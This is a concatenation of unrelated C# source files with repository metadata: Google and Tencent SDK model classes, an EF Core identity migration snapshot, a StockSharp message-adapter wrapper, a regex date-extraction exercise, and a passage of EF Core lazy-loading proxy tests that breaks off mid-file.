public virtual Trust Trust { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
/// <summary>Time window specified for weekly operations.</summary>
public class WeeklyCycle : Google.Apis.Requests.IDirectResponseSchema
{
/// <summary>User can specify multiple windows in a week. Minimum of 1 window.</summary>
[Newtonsoft.Json.JsonPropertyAttribute("schedule")]
public virtual System.Collections.Generic.IList<Schedule> Schedule { get; set; }
/// <summary>The ETag of the item.</summary>
public virtual string ETag { get; set; }
}
}
| 56.381354 | 248 | 0.559574 | [
"Apache-2.0"
] | SM-125F/google-api-dotnet-client | Src/Generated/Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1/Google.Apis.ManagedServiceforMicrosoftActiveDirectoryConsumerAPI.v1beta1.cs | 240,692 | C# |
using System.Collections.Generic;
namespace RemoteFactorioServer
{
class Config
{
public string RemoteIp { get; set; }
public int RemotePort { get; set; }
public IList<string> Servers { get; set; }
public string ServerFolder { get; set; }
public string ServerStartPoint { get; set; }
public IList<string> Usernames { get; set; }
public IList<string> Passwords { get; set; }
}
}
| 28 | 52 | 0.620536 | [
"MIT"
] | oxypomme/RemoteFactorioServer | RemoteFactorioServer/Config.cs | 450 | C# |
// <auto-generated />
using System;
using ForbExpress.DAL.DbContexts;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.Storage.ValueConversion;
using Npgsql.EntityFrameworkCore.PostgreSQL.Metadata;
namespace ForbExpress.Migrations.UsersIdentity
{
[DbContext(typeof(UsersIdentityContext))]
partial class UsersIdentityContextModelSnapshot : ModelSnapshot
{
protected override void BuildModel(ModelBuilder modelBuilder)
{
#pragma warning disable 612, 618
modelBuilder
.HasAnnotation("Relational:MaxIdentifierLength", 63)
.HasAnnotation("ProductVersion", "5.0.7")
.HasAnnotation("Npgsql:ValueGenerationStrategy", NpgsqlValueGenerationStrategy.IdentityByDefaultColumn);
modelBuilder.Entity("ForbExpress.Models.Identity.User", b =>
{
b.Property<string>("Id")
.HasColumnType("text");
b.Property<int>("AccessFailedCount")
.HasColumnType("integer");
b.Property<string>("ConcurrencyStamp")
.IsConcurrencyToken()
.HasColumnType("text");
b.Property<string>("Email")
.HasMaxLength(256)
.HasColumnType("character varying(256)");
b.Property<bool>("EmailConfirmed")
.HasColumnType("boolean");
b.Property<bool>("LockoutEnabled")
.HasColumnType("boolean");
b.Property<DateTimeOffset?>("LockoutEnd")
.HasColumnType("timestamp with time zone");
b.Property<string>("NormalizedEmail")
.HasMaxLength(256)
.HasColumnType("character varying(256)");
b.Property<string>("NormalizedUserName")
.HasMaxLength(256)
.HasColumnType("character varying(256)");
b.Property<string>("PasswordHash")
.HasColumnType("text");
b.Property<string>("PhoneNumber")
.HasColumnType("text");
b.Property<bool>("PhoneNumberConfirmed")
.HasColumnType("boolean");
b.Property<string>("SecurityStamp")
.HasColumnType("text");
b.Property<bool>("TwoFactorEnabled")
.HasColumnType("boolean");
b.Property<string>("UserName")
.HasMaxLength(256)
.HasColumnType("character varying(256)");
b.HasKey("Id");
b.HasIndex("NormalizedEmail")
.HasDatabaseName("EmailIndex");
b.HasIndex("NormalizedUserName")
.IsUnique()
.HasDatabaseName("UserNameIndex");
b.ToTable("AspNetUsers");
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRole", b =>
{
b.Property<string>("Id")
.HasColumnType("text");
b.Property<string>("ConcurrencyStamp")
.IsConcurrencyToken()
.HasColumnType("text");
b.Property<string>("Name")
.HasMaxLength(256)
.HasColumnType("character varying(256)");
b.Property<string>("NormalizedName")
.HasMaxLength(256)
.HasColumnType("character varying(256)");
b.HasKey("Id");
b.HasIndex("NormalizedName")
.IsUnique()
.HasDatabaseName("RoleNameIndex");
b.ToTable("AspNetRoles");
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRoleClaim<string>", b =>
{
b.Property<int>("Id")
.ValueGeneratedOnAdd()
.HasColumnType("integer")
.HasAnnotation("Npgsql:ValueGenerationStrategy", NpgsqlValueGenerationStrategy.IdentityByDefaultColumn);
b.Property<string>("ClaimType")
.HasColumnType("text");
b.Property<string>("ClaimValue")
.HasColumnType("text");
b.Property<string>("RoleId")
.IsRequired()
.HasColumnType("text");
b.HasKey("Id");
b.HasIndex("RoleId");
b.ToTable("AspNetRoleClaims");
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserClaim<string>", b =>
{
b.Property<int>("Id")
.ValueGeneratedOnAdd()
.HasColumnType("integer")
.HasAnnotation("Npgsql:ValueGenerationStrategy", NpgsqlValueGenerationStrategy.IdentityByDefaultColumn);
b.Property<string>("ClaimType")
.HasColumnType("text");
b.Property<string>("ClaimValue")
.HasColumnType("text");
b.Property<string>("UserId")
.IsRequired()
.HasColumnType("text");
b.HasKey("Id");
b.HasIndex("UserId");
b.ToTable("AspNetUserClaims");
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserLogin<string>", b =>
{
b.Property<string>("LoginProvider")
.HasColumnType("text");
b.Property<string>("ProviderKey")
.HasColumnType("text");
b.Property<string>("ProviderDisplayName")
.HasColumnType("text");
b.Property<string>("UserId")
.IsRequired()
.HasColumnType("text");
b.HasKey("LoginProvider", "ProviderKey");
b.HasIndex("UserId");
b.ToTable("AspNetUserLogins");
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserRole<string>", b =>
{
b.Property<string>("UserId")
.HasColumnType("text");
b.Property<string>("RoleId")
.HasColumnType("text");
b.HasKey("UserId", "RoleId");
b.HasIndex("RoleId");
b.ToTable("AspNetUserRoles");
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserToken<string>", b =>
{
b.Property<string>("UserId")
.HasColumnType("text");
b.Property<string>("LoginProvider")
.HasColumnType("text");
b.Property<string>("Name")
.HasColumnType("text");
b.Property<string>("Value")
.HasColumnType("text");
b.HasKey("UserId", "LoginProvider", "Name");
b.ToTable("AspNetUserTokens");
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityRoleClaim<string>", b =>
{
b.HasOne("Microsoft.AspNetCore.Identity.IdentityRole", null)
.WithMany()
.HasForeignKey("RoleId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserClaim<string>", b =>
{
b.HasOne("ForbExpress.Models.Identity.User", null)
.WithMany()
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserLogin<string>", b =>
{
b.HasOne("ForbExpress.Models.Identity.User", null)
.WithMany()
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserRole<string>", b =>
{
b.HasOne("Microsoft.AspNetCore.Identity.IdentityRole", null)
.WithMany()
.HasForeignKey("RoleId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
b.HasOne("ForbExpress.Models.Identity.User", null)
.WithMany()
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
});
modelBuilder.Entity("Microsoft.AspNetCore.Identity.IdentityUserToken<string>", b =>
{
b.HasOne("ForbExpress.Models.Identity.User", null)
.WithMany()
.HasForeignKey("UserId")
.OnDelete(DeleteBehavior.Cascade)
.IsRequired();
});
#pragma warning restore 612, 618
}
}
}
| 36.959259 | 128 | 0.467782 | [
"Apache-2.0"
] | masterofsea/ForbExpress | Migrations/UsersIdentity/UsersIdentityContextModelSnapshot.cs | 9,981 | C# |
/*
* Copyright (c) 2018 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
namespace TencentCloud.Cynosdb.V20190107.Models
{
using Newtonsoft.Json;
using System.Collections.Generic;
using TencentCloud.Common;
public class OfflineClusterRequest : AbstractModel
{
/// <summary>
/// 集群ID
/// </summary>
[JsonProperty("ClusterId")]
public string ClusterId{ get; set; }
/// <summary>
/// For internal usage only. DO NOT USE IT.
/// </summary>
internal override void ToMap(Dictionary<string, string> map, string prefix)
{
this.SetParamSimple(map, prefix + "ClusterId", this.ClusterId);
}
}
}
| 29.477273 | 83 | 0.659214 | [
"Apache-2.0"
] | ImEdisonJiang/tencentcloud-sdk-dotnet | TencentCloud/Cynosdb/V20190107/Models/OfflineClusterRequest.cs | 1,301 | C# |
#region S# License
/******************************************************************************************
NOTICE!!! This program and source code is owned and licensed by
StockSharp, LLC, www.stocksharp.com
Viewing or use of this code requires your acceptance of the license
agreement found at https://github.com/StockSharp/StockSharp/blob/master/LICENSE
Removal of this comment is a violation of the license agreement.
Project: StockSharp.Messages.Messages
File: IMessageAdapterWrapper.cs
Created: 2015, 11, 11, 2:32 PM
Copyright 2010 by StockSharp, LLC
*******************************************************************************************/
#endregion S# License
namespace StockSharp.Messages
{
using System;
using System.Collections.Generic;
using Ecng.Common;
using Ecng.Serialization;
using StockSharp.Logging;
/// <summary>
/// Wrapping based adapter.
/// </summary>
public interface IMessageAdapterWrapper : IMessageAdapter
{
/// <summary>
/// Underlying adapter.
/// </summary>
IMessageAdapter InnerAdapter { get; set; }
}
/// <summary>
/// Base implementation of <see cref="IMessageAdapterWrapper"/>.
/// </summary>
public abstract class MessageAdapterWrapper : Cloneable<IMessageChannel>, IMessageAdapterWrapper
{
private IMessageAdapter _innerAdapter;
/// <summary>
/// Initialize <see cref="MessageAdapterWrapper"/>.
/// </summary>
/// <param name="innerAdapter">Underlying adapter.</param>
protected MessageAdapterWrapper(IMessageAdapter innerAdapter)
{
InnerAdapter = innerAdapter ?? throw new ArgumentNullException(nameof(innerAdapter));
_innerAdapterName = GetUnderlyingAdapter(InnerAdapter).Name;
}
private IMessageAdapter GetUnderlyingAdapter(IMessageAdapter adapter)
{
if (adapter == null)
throw new ArgumentNullException(nameof(adapter));
if (adapter is IMessageAdapterWrapper wrapper)
return GetUnderlyingAdapter(wrapper.InnerAdapter);
return adapter;
}
/// <inheritdoc />
public IMessageAdapter InnerAdapter
{
get => _innerAdapter;
set
{
if (_innerAdapter == value)
return;
if (_innerAdapter != null)
_innerAdapter.NewOutMessage -= InnerAdapterNewOutMessage;
_innerAdapter = value;
if (_innerAdapter == null)
throw new ArgumentException();
_innerAdapter.NewOutMessage += InnerAdapterNewOutMessage;
}
}
/// <summary>
/// Control <see cref="InnerAdapter"/> lifetime.
/// </summary>
public bool OwnInnerAdapter { get; set; }
/// <summary>
/// Process <see cref="InnerAdapter"/> output message.
/// </summary>
/// <param name="message">The message.</param>
protected virtual void InnerAdapterNewOutMessage(Message message)
{
if (message.IsBack())
RaiseNewOutMessage(message);
else
OnInnerAdapterNewOutMessage(message);
}
/// <summary>
/// Process <see cref="InnerAdapter"/> output message.
/// </summary>
/// <param name="message">The message.</param>
protected virtual void OnInnerAdapterNewOutMessage(Message message)
{
RaiseNewOutMessage(message);
}
/// <summary>
/// To call the event <see cref="NewOutMessage"/>.
/// </summary>
/// <param name="message">The message.</param>
protected void RaiseNewOutMessage(Message message)
{
NewOutMessage?.Invoke(message);
}
bool IMessageChannel.IsOpened => InnerAdapter.IsOpened;
void IMessageChannel.Open()
{
InnerAdapter.Open();
}
void IMessageChannel.Close()
{
InnerAdapter.Close();
}
void IMessageChannel.Suspend()
{
InnerAdapter.Suspend();
}
void IMessageChannel.Resume()
{
InnerAdapter.Resume();
}
void IMessageChannel.Clear()
{
InnerAdapter.Clear();
}
event Action IMessageChannel.StateChanged
{
add => InnerAdapter.StateChanged += value;
remove => InnerAdapter.StateChanged -= value;
}
/// <summary>
/// Auto send <see cref="Message.BackMode"/> messages to <see cref="InnerAdapter"/>.
/// </summary>
protected virtual bool SendInBackFurther => true;
/// <inheritdoc />
public virtual bool SendInMessage(Message message)
{
if (message.IsBack())
{
if (message.Adapter == this)
{
message.UndoBack();
}
else
{
if (SendInBackFurther)
{
return InnerAdapter.SendInMessage(message);
}
}
}
try
{
return OnSendInMessage(message);
}
catch (Exception ex)
{
this.AddErrorLog(ex);
message.HandleErrorResponse(ex, CurrentTime, RaiseNewOutMessage);
throw;
}
}
/// <summary>
/// Send message.
/// </summary>
/// <param name="message">Message.</param>
/// <returns><see langword="true"/> if the specified message was processed successfully, otherwise, <see langword="false"/>.</returns>
protected virtual bool OnSendInMessage(Message message)
{
return InnerAdapter.SendInMessage(message);
}
/// <inheritdoc />
public virtual event Action<Message> NewOutMessage;
/// <summary>
/// Load settings.
/// </summary>
/// <param name="storage">Settings storage.</param>
public virtual void Load(SettingsStorage storage)
{
InnerAdapter.Load(storage);
}
/// <summary>
/// Save settings.
/// </summary>
/// <param name="storage">Settings storage.</param>
public virtual void Save(SettingsStorage storage)
{
InnerAdapter.Save(storage);
}
Guid ILogSource.Id => InnerAdapter.Id;
private readonly string _innerAdapterName;
string ILogSource.Name
{
get => _innerAdapterName + $" ({GetType().Name.Remove(nameof(MessageAdapter))})";
set { }
}
/// <inheritdoc />
public virtual ILogSource Parent
{
get => InnerAdapter.Parent;
set => InnerAdapter.Parent = value;
}
LogLevels ILogSource.LogLevel
{
get => InnerAdapter.LogLevel;
set => InnerAdapter.LogLevel = value;
}
/// <inheritdoc />
public DateTimeOffset CurrentTime => InnerAdapter.CurrentTime;
bool ILogSource.IsRoot => InnerAdapter.IsRoot;
event Action<LogMessage> ILogSource.Log
{
add => InnerAdapter.Log += value;
remove => InnerAdapter.Log -= value;
}
void ILogReceiver.AddLog(LogMessage message)
{
InnerAdapter.AddLog(message);
}
/// <inheritdoc />
public bool CheckTimeFrameByRequest => InnerAdapter.CheckTimeFrameByRequest;
/// <inheritdoc />
public ReConnectionSettings ReConnectionSettings => InnerAdapter.ReConnectionSettings;
/// <inheritdoc />
public IdGenerator TransactionIdGenerator => InnerAdapter.TransactionIdGenerator;
/// <inheritdoc />
public virtual IEnumerable<MessageTypeInfo> PossibleSupportedMessages => InnerAdapter.PossibleSupportedMessages;
/// <inheritdoc />
public virtual IEnumerable<MessageTypes> SupportedInMessages
{
get => InnerAdapter.SupportedInMessages;
set => InnerAdapter.SupportedInMessages = value;
}
/// <inheritdoc />
public virtual IEnumerable<MessageTypes> SupportedOutMessages => InnerAdapter.SupportedOutMessages;
/// <inheritdoc />
public virtual IEnumerable<MessageTypes> SupportedResultMessages => InnerAdapter.SupportedResultMessages;
/// <inheritdoc />
public virtual IEnumerable<DataType> SupportedMarketDataTypes => InnerAdapter.SupportedMarketDataTypes;
IDictionary<string, RefPair<SecurityTypes, string>> IMessageAdapter.SecurityClassInfo => InnerAdapter.SecurityClassInfo;
/// <inheritdoc />
public TimeSpan HeartbeatInterval
{
get => InnerAdapter.HeartbeatInterval;
set => InnerAdapter.HeartbeatInterval = value;
}
/// <inheritdoc />
public string StorageName => InnerAdapter.StorageName;
/// <inheritdoc />
public virtual bool IsNativeIdentifiersPersistable => InnerAdapter.IsNativeIdentifiersPersistable;
/// <inheritdoc />
public virtual bool IsNativeIdentifiers => InnerAdapter.IsNativeIdentifiers;
/// <inheritdoc />
public virtual bool IsFullCandlesOnly => InnerAdapter.IsFullCandlesOnly;
/// <inheritdoc />
public virtual bool IsSupportSubscriptions => InnerAdapter.IsSupportSubscriptions;
/// <inheritdoc />
public virtual bool IsSupportCandlesUpdates => InnerAdapter.IsSupportCandlesUpdates;
/// <inheritdoc />
public virtual bool IsSupportCandlesPriceLevels => InnerAdapter.IsSupportCandlesPriceLevels;
/// <inheritdoc />
public virtual MessageAdapterCategories Categories => InnerAdapter.Categories;
/// <inheritdoc />
public virtual OrderCancelVolumeRequireTypes? OrderCancelVolumeRequired => InnerAdapter.OrderCancelVolumeRequired;
IEnumerable<Tuple<string, Type>> IMessageAdapter.SecurityExtendedFields => InnerAdapter.SecurityExtendedFields;
/// <inheritdoc />
public virtual IEnumerable<int> SupportedOrderBookDepths => InnerAdapter.SupportedOrderBookDepths;
/// <inheritdoc />
public virtual bool IsSupportOrderBookIncrements => InnerAdapter.IsSupportOrderBookIncrements;
/// <inheritdoc />
public virtual bool IsSupportExecutionsPnL => InnerAdapter.IsSupportExecutionsPnL;
/// <inheritdoc />
public virtual bool IsSecurityNewsOnly => InnerAdapter.IsSecurityNewsOnly;
/// <inheritdoc />
public IEnumerable<Level1Fields> CandlesBuildFrom => InnerAdapter.CandlesBuildFrom;
Type IMessageAdapter.OrderConditionType => InnerAdapter.OrderConditionType;
bool IMessageAdapter.HeartbeatBeforConnect => InnerAdapter.HeartbeatBeforConnect;
Uri IMessageAdapter.Icon => InnerAdapter.Icon;
bool IMessageAdapter.IsAutoReplyOnTransactonalUnsubscription => InnerAdapter.IsAutoReplyOnTransactonalUnsubscription;
IOrderLogMarketDepthBuilder IMessageAdapter.CreateOrderLogMarketDepthBuilder(SecurityId securityId)
=> InnerAdapter.CreateOrderLogMarketDepthBuilder(securityId);
/// <inheritdoc />
public virtual IEnumerable<object> GetCandleArgs(Type candleType, SecurityId securityId, DateTimeOffset? from, DateTimeOffset? to)
=> InnerAdapter.GetCandleArgs(candleType, securityId, from, to);
/// <inheritdoc />
public virtual TimeSpan GetHistoryStepSize(DataType dataType, out TimeSpan iterationInterval)
=> InnerAdapter.GetHistoryStepSize(dataType, out iterationInterval);
/// <inheritdoc />
public virtual bool IsAllDownloadingSupported(DataType dataType)
=> InnerAdapter.IsAllDownloadingSupported(dataType);
/// <inheritdoc />
public virtual bool IsSecurityRequired(DataType dataType)
=> InnerAdapter.IsSecurityRequired(dataType);
/// <inheritdoc />
public virtual void Dispose()
{
InnerAdapter.NewOutMessage -= InnerAdapterNewOutMessage;
if (OwnInnerAdapter)
InnerAdapter.Dispose();
}
/// <inheritdoc />
public override string ToString() => InnerAdapter.ToString();
}
} | 27.685864 | 136 | 0.715582 | [
"Apache-2.0"
] | hnjm/StockSharp | Messages/IMessageAdapterWrapper.cs | 10,578 | C# |
/*Problem 19. Dates from text in Canada
Write a program that extracts from a given text all dates that match the format DD.MM.YYYY.
Display them in the standard date format for Canada.
*/
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Globalization;
using System.Text.RegularExpressions;
namespace Problem19DatesFromTextInCanada
{
class Program
{
static void Main()
{
string text = Console.ReadLine();
Console.WriteLine("Extracted dates from the sample text: ");
foreach (Match item in Regex.Matches(text, @"\b[0-9]{1,2}.[0-9]{1,2}.[0-9]{2,4}"))
{
DateTime date;
if (DateTime.TryParseExact(item.Value, "d.M.yyyy", CultureInfo.InvariantCulture, DateTimeStyles.None, out date))
{
Console.WriteLine("- " + date.ToString(CultureInfo.GetCultureInfo("en- CA").DateTimeFormat.ShortDatePattern));
}
}
Console.WriteLine();
}
}
}
| 32.5 | 130 | 0.621719 | [
"MIT"
] | koravski/TelerikAcademy | 02.C#2/06.StringsAndTextProcessing/Problem19DatesFromTextInCanada/Program.cs | 1,107 | C# |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
using System;
using System.Collections.Generic;
using System.ComponentModel.DataAnnotations.Schema;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.EntityFrameworkCore.ChangeTracking;
using Microsoft.EntityFrameworkCore.ChangeTracking.Internal;
using Microsoft.EntityFrameworkCore.Diagnostics;
using Microsoft.EntityFrameworkCore.Diagnostics.Internal;
using Microsoft.EntityFrameworkCore.Infrastructure;
using Microsoft.EntityFrameworkCore.TestUtilities;
using Microsoft.Extensions.DependencyInjection;
using Xunit;
// ReSharper disable InconsistentNaming
namespace Microsoft.EntityFrameworkCore
{
public abstract class LazyLoadProxyTestBase<TFixture> : IClassFixture<TFixture>
where TFixture : LazyLoadProxyTestBase<TFixture>.LoadFixtureBase
{
protected LazyLoadProxyTestBase(TFixture fixture)
=> Fixture = fixture;
protected TFixture Fixture { get; }
[ConditionalFact]
public virtual void Detected_principal_reference_navigation_changes_are_detected_and_marked_loaded()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var parent = context.Set<Parent>().Single();
var single = context.CreateProxy<Single>();
parent.Single = single;
Assert.Same(single, parent.Single);
Assert.True(context.Entry(parent).Reference(e => e.Single).IsLoaded);
}
[ConditionalFact]
public virtual void Detected_dependent_reference_navigation_changes_are_detected_and_marked_loaded()
{
using var context = CreateContext(lazyLoadingEnabled: true);
var single = context.Set<Single>().Single();
var parent = context.CreateProxy<Parent>();
single.Parent = parent;
Assert.Same(parent, single.Parent);
Assert.True(context.Entry(single).Reference(e => e.Parent).IsLoaded);
}
[ConditionalTheory] // Issue #13138
[InlineData(EntityState.Unchanged)]
[InlineData(EntityState.Modified)]
[InlineData(EntityState.Deleted)]
public virtual void Lazy_load_one_to_one_reference_with_recursive_property(EntityState state)
{
using (var context = CreateContext(lazyLoadingEnabled: true))
{
var child = context.Set<WithRecursiveProperty>().Single();
var referenceEntry = context.Entry(child).Reference(e => e.Parent);
context.Entry(child).State = state;
Assert.True(referenceEntry.IsLoaded);
Assert.NotNull(child.Parent);
Assert.True(referenceEntry.IsLoaded);
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, context.ChangeTracker.Entries().Count());
var parent = context.ChangeTracker.Entries<Parent>().Single().Entity;
Assert.Equal(parent.Id, child.IdLoadedFromParent);
Assert.Same(parent, child.Parent);
Assert.Same(child, parent.WithRecursiveProperty);
}
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, false)]
[InlineData(EntityState.Modified, false)]
[InlineData(EntityState.Added, false)]
[InlineData(EntityState.Unchanged, true)]
[InlineData(EntityState.Modified, true)]
[InlineData(EntityState.Added, true)]
public virtual void Attached_references_to_principal_are_marked_as_loaded(EntityState state, bool lazy)
{
using var context = CreateContext(lazy);
var parent = context.CreateProxy<Parent>();
parent.Id = 707;
parent.AlternateId = "Root";
var singlePkToPk = context.CreateProxy<SinglePkToPk>();
singlePkToPk.Id = 707;
parent.SinglePkToPk = singlePkToPk;
var single = context.CreateProxy<Single>();
single.Id = 21;
parent.Single = single;
var singleAk = context.CreateProxy<SingleAk>();
singleAk.Id = 42;
parent.SingleAk = singleAk;
var singleShadowFk = context.CreateProxy<SingleShadowFk>();
singleShadowFk.Id = 62;
parent.SingleShadowFk = singleShadowFk;
var singleCompositeKey = context.CreateProxy<SingleCompositeKey>();
singleCompositeKey.Id = 62;
parent.SingleCompositeKey = singleCompositeKey;
context.Attach(parent);
if (state != EntityState.Unchanged)
{
context.ChangeTracker.LazyLoadingEnabled = false;
context.Entry(parent.SinglePkToPk).State = state;
context.Entry(parent.Single).State = state;
context.Entry(parent.SingleAk).State = state;
context.Entry(parent.SingleShadowFk).State = state;
context.Entry(parent.SingleCompositeKey).State = state;
context.Entry(parent).State = state;
context.ChangeTracker.LazyLoadingEnabled = true;
}
Assert.True(context.Entry(parent).Reference(e => e.SinglePkToPk).IsLoaded);
Assert.True(context.Entry(parent).Reference(e => e.Single).IsLoaded);
Assert.True(context.Entry(parent).Reference(e => e.SingleAk).IsLoaded);
Assert.True(context.Entry(parent).Reference(e => e.SingleShadowFk).IsLoaded);
Assert.True(context.Entry(parent).Reference(e => e.SingleCompositeKey).IsLoaded);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, false)]
[InlineData(EntityState.Modified, false)]
[InlineData(EntityState.Added, false)]
[InlineData(EntityState.Unchanged, true)]
[InlineData(EntityState.Modified, true)]
[InlineData(EntityState.Added, true)]
public virtual void Attached_references_to_dependents_are_marked_as_loaded(EntityState state, bool lazy)
{
using var context = CreateContext(lazy);
var parent = context.CreateProxy<Parent>();
parent.Id = 707;
parent.AlternateId = "Root";
var singlePkToPk = context.CreateProxy<SinglePkToPk>();
singlePkToPk.Id = 707;
parent.SinglePkToPk = singlePkToPk;
var single = context.CreateProxy<Single>();
single.Id = 21;
parent.Single = single;
var singleAk = context.CreateProxy<SingleAk>();
singleAk.Id = 42;
parent.SingleAk = singleAk;
var singleShadowFk = context.CreateProxy<SingleShadowFk>();
singleShadowFk.Id = 62;
parent.SingleShadowFk = singleShadowFk;
var singleCompositeKey = context.CreateProxy<SingleCompositeKey>();
singleCompositeKey.Id = 62;
parent.SingleCompositeKey = singleCompositeKey;
context.Attach(parent);
if (state != EntityState.Unchanged)
{
context.ChangeTracker.LazyLoadingEnabled = false;
context.Entry(parent.SinglePkToPk).State = state;
context.Entry(parent.Single).State = state;
context.Entry(parent.SingleAk).State = state;
context.Entry(parent.SingleShadowFk).State = state;
context.Entry(parent.SingleCompositeKey).State = state;
context.Entry(parent).State = state;
context.ChangeTracker.LazyLoadingEnabled = true;
}
Assert.True(context.Entry(parent.SinglePkToPk).Reference(e => e.Parent).IsLoaded);
Assert.True(context.Entry(parent.Single).Reference(e => e.Parent).IsLoaded);
Assert.True(context.Entry(parent.SingleAk).Reference(e => e.Parent).IsLoaded);
Assert.True(context.Entry(parent.SingleShadowFk).Reference(e => e.Parent).IsLoaded);
Assert.True(context.Entry(parent.SingleCompositeKey).Reference(e => e.Parent).IsLoaded);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, false)]
[InlineData(EntityState.Modified, false)]
[InlineData(EntityState.Added, false)]
[InlineData(EntityState.Unchanged, true)]
[InlineData(EntityState.Modified, true)]
[InlineData(EntityState.Added, true)]
public virtual void Attached_collections_are_not_marked_as_loaded(EntityState state, bool lazy)
{
using var context = CreateContext(lazy);
var parent = context.CreateProxy<Parent>();
parent.Id = 707;
parent.AlternateId = "Root";
var child1 = context.CreateProxy<Child>();
child1.Id = 11;
var child2 = context.CreateProxy<Child>();
child2.Id = 12;
parent.Children = new List<Child> { child1, child2 };
var childAk1 = context.CreateProxy<ChildAk>();
childAk1.Id = 31;
var childAk2 = context.CreateProxy<ChildAk>();
childAk2.Id = 32;
parent.ChildrenAk = new List<ChildAk> { childAk1, childAk2 };
var childShadowFk1 = context.CreateProxy<ChildShadowFk>();
childShadowFk1.Id = 51;
var childShadowFk2 = context.CreateProxy<ChildShadowFk>();
childShadowFk2.Id = 52;
parent.ChildrenShadowFk = new List<ChildShadowFk> { childShadowFk1, childShadowFk2 };
var childCompositeKey1 = context.CreateProxy<ChildCompositeKey>();
childCompositeKey1.Id = 51;
var childCompositeKey2 = context.CreateProxy<ChildCompositeKey>();
childCompositeKey2.Id = 52;
parent.ChildrenCompositeKey = new List<ChildCompositeKey> { childCompositeKey1, childCompositeKey2 };
context.Attach(parent);
if (state != EntityState.Unchanged)
{
context.ChangeTracker.LazyLoadingEnabled = false;
foreach (var child in parent.Children.Cast<object>()
.Concat(parent.ChildrenAk)
.Concat(parent.ChildrenShadowFk)
.Concat(parent.ChildrenCompositeKey))
{
context.Entry(child).State = state;
}
context.Entry(parent).State = state;
context.ChangeTracker.LazyLoadingEnabled = true;
}
Assert.False(context.Entry(parent).Collection(e => e.Children).IsLoaded);
Assert.False(context.Entry(parent).Collection(e => e.ChildrenAk).IsLoaded);
Assert.False(context.Entry(parent).Collection(e => e.ChildrenShadowFk).IsLoaded);
Assert.False(context.Entry(parent).Collection(e => e.ChildrenCompositeKey).IsLoaded);
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, false, false)]
[InlineData(EntityState.Modified, false, false)]
[InlineData(EntityState.Deleted, false, false)]
[InlineData(EntityState.Unchanged, true, false)]
[InlineData(EntityState.Modified, true, false)]
[InlineData(EntityState.Deleted, true, false)]
[InlineData(EntityState.Unchanged, true, true)]
[InlineData(EntityState.Modified, true, true)]
[InlineData(EntityState.Deleted, true, true)]
public virtual void Lazy_load_collection(EntityState state, bool useAttach, bool useDetach)
{
Parent parent = null;
if (useAttach)
{
using (var context = CreateContext(lazyLoadingEnabled: true))
{
parent = context.Set<Parent>().Single();
if (useDetach)
{
context.Entry(parent).State = EntityState.Detached;
}
}
if (useDetach)
{
Assert.Null(parent.Children);
}
else
{
Assert.Equal(
CoreStrings.WarningAsErrorTemplate(
CoreEventId.LazyLoadOnDisposedContextWarning.ToString(),
CoreResources.LogLazyLoadOnDisposedContext(new TestLogger<TestLoggingDefinitions>())
.GenerateMessage("MotherProxy", "Children"),
"CoreEventId.LazyLoadOnDisposedContextWarning"),
Assert.Throws<InvalidOperationException>(
() => parent.Children).Message);
}
}
using (var context = CreateContext(lazyLoadingEnabled: true))
{
var changeDetector = (ChangeDetectorProxy)context.GetService<IChangeDetector>();
parent ??= context.Set<Parent>().Single();
ClearLog();
var collectionEntry = context.Entry(parent).Collection(e => e.Children);
context.Entry(parent).State = state;
Assert.False(collectionEntry.IsLoaded);
changeDetector.DetectChangesCalled = false;
Assert.NotNull(parent.Children);
Assert.False(changeDetector.DetectChangesCalled);
Assert.True(collectionEntry.IsLoaded);
Assert.All(parent.Children.Select(e => e.Parent), c => Assert.Same(parent, c));
RecordLog();
context.ChangeTracker.LazyLoadingEnabled = false;
Assert.Equal(2, parent.Children.Count());
Assert.Equal(3, context.ChangeTracker.Entries().Count());
}
}
[ConditionalTheory]
[InlineData(EntityState.Unchanged, false, false)]
[InlineData(EntityState.Modified, false, false)]
[InlineData(EntityState.Deleted, false, false)]
[InlineData(EntityState.Unchanged, true, false)]
[InlineData(EntityState.Modified, true, false)]
[InlineData(EntityState.Deleted, true, false)]
[InlineData(EntityState.Unchanged, true, true)]
[InlineData(EntityState.Modified, true, true)]
[InlineData(EntityState.Deleted, true, true)]
